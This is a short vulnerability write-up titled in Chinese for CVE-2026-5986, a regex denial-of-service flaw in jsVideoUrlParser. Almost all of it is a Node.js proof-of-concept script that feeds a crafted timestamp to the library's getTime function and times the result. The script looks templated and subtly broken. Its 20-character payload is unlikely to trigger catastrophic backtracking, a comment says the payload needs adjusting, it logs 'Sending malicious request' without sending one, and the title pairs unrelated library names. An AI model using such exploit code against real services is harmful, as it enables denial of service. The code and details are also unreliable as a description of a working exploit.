CVE-2026-5986 Zod jsVideoUrlParser正则拒绝服务漏洞

// Proof of Concept for CVE-2026-5986 // This script demonstrates how a malicious timestamp can trigger ReDoS. const { getTime } = require('jsVideoUrlParser/lib/util.js'); // Malicious payload designed to trigger catastrophic backtracking // Adjust the payload based on the specific regex pattern in getTime const maliciousTimestamp = '2023-01-01T12:00:00.' + 'a'.repeat(20) + '!'; console.log('Sending malicious request...'); try { const startTime = Date.now(); // Trigger the vulnerable function const result = getTime(maliciousTimestamp); const endTime = Date.now(); console.log(`Result: ${result}`); console.log(`Time taken: ${endTime - startTime}ms`); } catch (e) { console.error('Error:', e); }